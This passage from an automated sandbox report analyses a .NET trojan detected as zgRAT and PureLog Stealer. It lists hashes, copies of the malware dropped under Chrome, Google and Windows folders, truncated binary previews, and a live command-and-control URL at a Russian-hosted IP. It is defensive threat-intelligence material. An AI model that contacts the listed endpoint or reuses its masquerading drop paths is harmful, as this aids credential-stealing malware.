https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
http://193.124H	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.0000000003673000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
https://www.ecosia.org/newtab/	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DWTukBG9R7.exe, 00000000.00000002.2144864068.0000000003A08000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.00000000031C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000014173000.00000004.00000800.00020000.00000000.sdmp, jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3379108765.0000000013A3A000.00000004.00000800.00020000.00000000.sdmp, m5CQtFa1lB.6.dr, 9KQyCXcnas.6.dr, NLOI6GFheR.6.dr, Ycl0D2uj1l.6.dr, ottSjZVhx0.6.dr, H2Gsz3imko.6.dr, fvXjgBLX2v.6.dr, IP0a9GyNjH.6.dr, marwh0fSYn.6.dr, 6HkiYEDVc5.6.dr, myJCZW2R38.6.dr, LgoqXKAebd.6.dr, muN2cX4GEf.6.dr, N89GnkNZyQ.6.dr, DP4oxtj4vi.6.dr, gYvZxX8tbE.6.dr, nqOH3u032q.6.dr, 9upRu4MzDR.6.dr, WhVUM2lTDU.6.dr	false		high
http://193.124.185.16/gameBigloadHttp/apidumpjavascript/5game/Process/	jXzXDduVeIqOfFYGnN.exe, 00000006.00000002.3368236613.000000000309B000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.124.185.16	unknown	Russian Federation		35196	IHOR-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576010
Start date and time:	2024-12-16 13:11:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DWTukBG9R7.exe renamed because original name is a hash value
Original Sample Name:	15536627ef85575e9dfa2f91d54b24dd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/292@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56, 23.218.208.109
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: DWTukBG9R7.exe

Simulations

Behavior and APIs

Time	Type	Description
07:12:43	API Interceptor	577882x Sleep call for process: jXzXDduVeIqOfFYGnN.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IHOR-ASRU	rrats.exe	Get hash	malicious	AsyncRAT	Browse	194.67.204.7
	http://comprehend-girls.ru/uk_razn_html	Get hash	malicious	Porn Scam	Browse	93.170.123.244
	SecuriteInfo.com.Trojan.Encoder.3976.32157.17259.exe	Get hash	malicious	Locky	Browse	93.170.123.219
	KKdMgqLFjC.msi	Get hash	malicious	Matanbuchus	Browse	194.67.193.73
	fBcMVl6ns6.lnk	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	rpQF1aDIK4.lnk	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	test.ps1	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	path.ps1	Get hash	malicious	DcRat	Browse	185.58.206.164
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	useraccount.aspx.dll	Get hash	malicious	Matanbuchus	Browse	194.67.193.13

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\CKvNPuCt.log	150bIjWiGH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	wmdqEYgW2i.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	CPNSQusnwC.exe	Get hash	malicious	DCRat	Browse
	xoCq1tvPcm.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	eu6OEBpBCI.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	IYXE4Uz61k.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse
	file.exe	Get hash	malicious	Amadey, DCRat, DarkVision Rat, LummaC Stealer, Stealc, Vidar	Browse
	gorkmTnChA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	A5EbyKyjhV.exe	Get hash	malicious	DCRat	Browse
	qNdO4D18CF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\MSECache\OfficeKMS\win8\6cb0b6c459d5d3

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with very long lines (940), with no line terminators
Category:	dropped
Size (bytes):	940
Entropy (8bit):	5.912522728721821
Encrypted:	false
SSDEEP:	24:Hj0NneUqWFKc6O5P9rqDeoaSI8O1hUCXydas1UTmqfDV5Nv:Hj0/qWFKEoLIV12QqLsJr
MD5:	C82502A2CEBF2DDA73A23457CD3F0C12
SHA1:	C66E7D80C361EBA7739B78534A2F30653C836BDE
SHA-256:	823B0CCCF25B1BF2A840226A4F7543E42F2DB52250EBC04355C54D113B15F00F
SHA-512:	6C5D5AE5D1332C266531491E37637B65B4276E9F3E60509C8CA198D16983F2D2D3F87B7460E6FEE969D0A4F42D813D25E0A374C69E797B21EC8F0B949B6BB989
Malicious:	false
Reputation:	low
Preview:	wpK675TWmnXnB34BmOQwMzY1qlHHOdwmoz1PFY5iUk8pV2WkxMESl4t7RTPWyLHJ1u9MBo6NSrcm0sfxOgUCZeBtF48wJiuIczyk3JjIP193cGGjybHR1FtXtPGHqKEt6TKB444F7LwheIR9xZ7rbdRXFb1oCccFxP6I6Fp3hCTpSM2k7HTRMXSdCw5cCPCftquOLJCruEJYJlE3jRq5IK3a6dFJKM1RAy6lbnYyFmhIN4TbsC3ujGXjxUSsD2hhM2XVpcb521zfmvMCJobHSGs3bXyHVpvMEA5Vg8vQk71rR16BHPjYbZOFJe4RnUkNGnbmz1fL2LgVPAmjaw9FGWvov0LCDemQXoloaUMPtYgQ330I1U10UeHt1w09qdHYiQ7kZ8JFktVr0fv1ACKsmv52h1wodMjQQHrm6Ps3LvQlIZ3WA88nTYvxUEDiLflXJFatxI5uUQg1fUtH8anfO661V4S1MKrqJ2bD8Ki1COTC24RAU6kv1GJMIjX30EiJjzrn3qIy1vc9n49amShPk6zDsO4ZwpB8pJdCNoHnxw4GnKjOj7RigSjmAn4ovtBMudTea7M7K3cyBsZipq0zYccXk0Bjuc2EurVK0FxmuTXn0vlROW9F3MyRB64j5nMsBYDTWPsk2NFEEygyPuVYdwKh3EI3KOqHGpmcrR49nZNpHtNMZFULSyPONfaSGyZoh87ZMEH8zVuEjfaK15dF3ezSaXOL1l2zAjHJwxAV7VW6EKprFPbLUTuCJp9zz6HNc4E9YRXD5IHhI2OPrhFlKreqyF9GyLfBOIdJGpTx2XQMLM3QbtHS0gDvaXKTRRPtnGTAZEIBOStwbSemLtpEDMKsFrttfAflIgjF231WlGEixQUH2iHilKqa5l4rVZgNwHn5tZtR2Td7Im5yXl062798zIJR8JALj0vpmYXdy0pS

C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2742784
Entropy (8bit):	7.725753306549117
Encrypted:	false
SSDEEP:	49152:UtTBxlAaunGEw1jCZu4uQNOeh6/RrcCAEreN1s+WU8E+R:UttxanEdC0haOeh6/RrpDeN138E+R
MD5:	15536627EF85575E9DFA2F91D54B24DD
SHA1:	2C498FFE7CB1A53CCE6155AC50B19B2A1B437B2D
SHA-256:	7C80AC7694D0009DF4CB82D8FA843910CF07A53D24916DAF5DBB9E09A1512881
SHA-512:	C4F489F26BB2B7517E0A6F12836BA18BEAC2B33E2B7F63903F5A95BA10FEEDF8711CAA68B3E8F5512ED9BB211D8C09CB8F9C4D3C400F64C2DA493C9722AA8B5E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................).........~.).. .......@.. .......................@...........@.................................0.).K......p.................... ...................................................... ............... ..H............text.....).. ....)................. ..`.rsrc...p............).............@....reloc....... .......).............@..B................`.).....H.......\..........p...0...].....)......................................0..........(.... ........8........E....).......\...8...8$...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........!.......J.......8....r...ps....z...... ....8....~....:.... ....~....{....:....& ....8....~....(M... .... .... ....s....~....(Q....... ....~....{....:]...& ....8R.......~....(U...~....(Y... ....?Y... ....~....{....9..

C:\Program Files (x86)\MSECache\OfficeKMS\win8\dwm.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Google\88d13acbc29308

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with very long lines (321), with no line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.815944862573786
Encrypted:	false
SSDEEP:	6:XDy5PRJH1nx+vLvS7y7XAVZwc9ks7inpLn35WvSGuLJ:zy5PRJHPsK7y7XmX9ksO+SdLJ
MD5:	BDF71F903E8E5FC8E194E525B3A532F3
SHA1:	8E92ABB67A9EF54BB1C349048D45F3118C36CE92
SHA-256:	26BBE11E3ECC86D59C78DF284CDE69D51C1D5A9A0E62E94DABCA86AE830852A9
SHA-512:	BAC8533967692680C1AD2529A33CF62FDFA8B072B6488C49BDC07D03388B85C539602A4487B95BC0DB364E1E130871779123FDACD967D9800098CC60E301DEC0
Malicious:	false
Reputation:	low
Preview:	aqzOpxxfrDSF9BoHWr6kkVTeIRN8Ky2xqS4ptlurXMA7BwzRW4EbRisEWUGYkzU2LfYrG8Xu6ONYUWcWb6lQuafIjzSYfWHh1IvgXIKYgTfCVUtA1t6oOEHv9QHQp9PjHpgMk69TvMtb5cwOFSgvadTwBAhGA3shE55qxha5un2BVqzge3LXcdInVuLjZ2S1eLX9hGbi2kBxkSaVLAmHsUFkxRVDW0g1UBgKSz9Ybmf1bVDCT0YYQLIJFwMPvXLBEKcjvQCVAOpFzNJbOStgbHkJ2XEgmumDbdwR2dRDxCYCfCU2nvBcopk7jTrYLftQl

C:\Program Files\Google\Chrome\Application\SetupMetrics\88d13acbc29308

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with very long lines (585), with no line terminators
Category:	dropped
Size (bytes):	585
Entropy (8bit):	5.879061993502202
Encrypted:	false
SSDEEP:	12:gPtLCZpD518rF03jgRNgLixyLCV/sIc/fyQOwrLXYiURterTHcHN2X1:gVLkpDTCFOyNgGxYCVsI8Zc8rTWN2X1
MD5:	F8045D7AE43C7FEDF364F171CDDBEE11
SHA1:	0C80B041B168103DEB845CD4993BDFCA17BA57DC
SHA-256:	F4CABEFCF91D8ED733E62F671D66FF949B9C1251936578AE2EC79411C50EEF74
SHA-512:	C1A7AB9F1563269D8C581ACAC712F1B2143DC4F252D409082607A3FCBB3E93B16E5FE24A2EB23F4AA33C49589F1DC49ECBB4DEABEA5923DDAAA38C360A1C8BC7
Malicious:	false
Preview:	UDGpMjPJC2dMix8TIUMdSeBjckVtjTzSuJT7hovNw2yEHMfDHg91nTR0BhMlNgjsCKcZdBvei8qaq6bPESlDU7pa2d5AbJAPSFC6tGjGvfTom1KFF6g54gYEfChAFvCY8bHk4fg8sfSzoAxAS04enEVwr7brjjA9c4qLtjKkaiNYNiaeOgrP0hv3FU37DyYIeSXuUmRtqUEE16jIh7cD1uJ4IwFYpMgmJE45LpJmP8jfdqBJvvaGVVQuIdlig2Ddyb5xCn61x0x3Lnacu6n4vZQxxKwsElFX4GrBvOHIzjTfiXieCJxkPJrYLHA20NwMva8F5YqgyeFMGvPalRp5xeIvYT0oOORlwGtHYdjodQwuDfSa1jRih1ZRSMqmiBSjNdZ9BIBHsBbgsYs3BZwo7sD5rcyLx6Gb8MgjFSZtiJ0gZ2i4ewlIOnmeaeSiT0Uw5Ahg1IysADGy2hfy44qAV7NUkBJk90arzEkZUCDW82HKhxm38doYJTa7xN6z8NtKnY8y6Gd11TBd0CwwZQmgLBifnnmHGNYvI7hJzx629xh0R6HuaJaslM9l0cKSeWvo5QU3en6lT

C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2742784
Entropy (8bit):	7.725753306549117
Encrypted:	false
SSDEEP:	49152:UtTBxlAaunGEw1jCZu4uQNOeh6/RrcCAEreN1s+WU8E+R:UttxanEdC0haOeh6/RrpDeN138E+R
MD5:	15536627EF85575E9DFA2F91D54B24DD
SHA1:	2C498FFE7CB1A53CCE6155AC50B19B2A1B437B2D
SHA-256:	7C80AC7694D0009DF4CB82D8FA843910CF07A53D24916DAF5DBB9E09A1512881
SHA-512:	C4F489F26BB2B7517E0A6F12836BA18BEAC2B33E2B7F63903F5A95BA10FEEDF8711CAA68B3E8F5512ED9BB211D8C09CB8F9C4D3C400F64C2DA493C9722AA8B5E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................).........~.).. .......@.. .......................@...........@.................................0.).K......p.................... ...................................................... ............... ..H............text.....).. ....)................. ..`.rsrc...p............).............@....reloc....... .......).............@..B................`.).....H.......\..........p...0...].....)......................................0..........(.... ........8........E....).......\...8...8$...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........!.......J.......8....r...ps....z...... ....8....~....:.... ....~....{....:....& ....8....~....(M... .... .... ....s....~....(Q....... ....~....{....:]...& ....8R.......~....(U...~....(Y... ....?Y... ....~....{....9..

C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2742784
Entropy (8bit):	7.725753306549117
Encrypted:	false
SSDEEP:	49152:UtTBxlAaunGEw1jCZu4uQNOeh6/RrcCAEreN1s+WU8E+R:UttxanEdC0haOeh6/RrpDeN138E+R
MD5:	15536627EF85575E9DFA2F91D54B24DD
SHA1:	2C498FFE7CB1A53CCE6155AC50B19B2A1B437B2D
SHA-256:	7C80AC7694D0009DF4CB82D8FA843910CF07A53D24916DAF5DBB9E09A1512881
SHA-512:	C4F489F26BB2B7517E0A6F12836BA18BEAC2B33E2B7F63903F5A95BA10FEEDF8711CAA68B3E8F5512ED9BB211D8C09CB8F9C4D3C400F64C2DA493C9722AA8B5E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................).........~.).. .......@.. .......................@...........@.................................0.).K......p.................... ...................................................... ............... ..H............text.....).. ....)................. ..`.rsrc...p............).............@....reloc....... .......).............@..B................`.).....H.......\..........p...0...].....)......................................0..........(.... ........8........E....).......\...8...8$...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........!.......J.......8....r...ps....z...... ....8....~....:.... ....~....{....:....& ....8....~....(M... .... .... ....s....~....(Q....... ....~....{....:]...& ....8R.......~....(U...~....(Y... ....?Y... ....~....{....9..

C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Windows NT\TableTextService\88d13acbc29308

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with very long lines (580), with no line terminators
Category:	dropped
Size (bytes):	580
Entropy (8bit):	5.861107155849954
Encrypted:	false
SSDEEP:	12:yxhqXudSmKQYVuyezMmyu14RVeyuX9b/0wcruBwm4cXspkf4:yxhqXfmKnVuyn1uWRVexl/3cruBwmL4
MD5:	7B26FD83A4C8FB3CFFAEC33C0318CCBF
SHA1:	11A9FEE70E4E46497EEE3AF56B88DF0C8E4A16DB
SHA-256:	54A8752A14157A6D085A260E49CACBC321BB4B2998C0B971390FCF1B6A4E6552
SHA-512:	94F24B639DAEB95E9EAF7B3D449B86668EC9B006613B0334D5404D14B779543F03856619D3A8DFC31161772D292CD39A1F770FD93AF8B3619E33FCA618A88C9F
Malicious:	false
Preview:	VyIpFkQcSsSRXS0PL8NXICSrRG1zl2zQm9f7g7TwMWh69ZV9ca4UgMbSgbY9tb0Z3CpXw3sOpaKvfVr2u1XL8ftaiMaFjTDvfHD7t7MirpoFBpxKtgP1DpbXSOzjdnpWXZPYRuIwoydT0oY2ZQVCELr0qpoeInFEASsmaZ29XcMPLHho06KNRmSLrZrmFnnBtZTi6wcAXVol9coiIAoLd2wXAg5ArQ4uyKfwy9sDeJz57qLOuJdF8ci0n5iZ1bTGb4wy62tJRlrTC0ZTUqQhwzvWmpI2bTMD0teD3XR1ZUxXuPywgOELKvTlIaMRu0r8ZocTWWZ7YZHcCYlW0WWMOA2EZ24dLAHimy8GweaKyGwvo1jtyzaXeftYvY3db6vYRizOafkW5MYIOGaiTKpWjtEHEjVXk7s2UYdFBUTSOEbSGlKo8VJQQZyhesJ0KMv8dfxznUg91WHfRwAcZqZPybl5j5lTKcIBSdylyUBnyKZ4STQsrradwgKB32QrsNyYNFMy7ZoFowaoCrmPp3ldBoPvTwr6EU4lVAqMHbuSDVzAGf9MPABzlUWj0afKrrBU1zSB

C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2742784
Entropy (8bit):	7.725753306549117
Encrypted:	false
SSDEEP:	49152:UtTBxlAaunGEw1jCZu4uQNOeh6/RrcCAEreN1s+WU8E+R:UttxanEdC0haOeh6/RrpDeN138E+R
MD5:	15536627EF85575E9DFA2F91D54B24DD
SHA1:	2C498FFE7CB1A53CCE6155AC50B19B2A1B437B2D
SHA-256:	7C80AC7694D0009DF4CB82D8FA843910CF07A53D24916DAF5DBB9E09A1512881
SHA-512:	C4F489F26BB2B7517E0A6F12836BA18BEAC2B33E2B7F63903F5A95BA10FEEDF8711CAA68B3E8F5512ED9BB211D8C09CB8F9C4D3C400F64C2DA493C9722AA8B5E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................).........~.).. .......@.. .......................@...........@.................................0.).K......p.................... ...................................................... ............... ..H............text.....).. ....)................. ..`.rsrc...p............).............@....reloc....... .......).............@..B................`.).....H.......\..........p...0...].....)......................................0..........(.... ........8........E....).......\...8...8$...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........!.......J.......8....r...ps....z...... ....8....~....:.... ....~....{....:....& ....8....~....(M... .... .... ....s....~....(Q....... ....~....{....:]...& ....8R.......~....(U...~....(Y... ....?Y... ....~....{....9..

C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\56085415360792

Download File

Process:	C:\Users\user\Desktop\DWTukBG9R7.exe
File Type:	ASCII text, with very long lines (683), with no line terminators
Category:	dropped
Size (bytes):	683
Entropy (8bit):	5.8934795022089705
Encrypted:	false
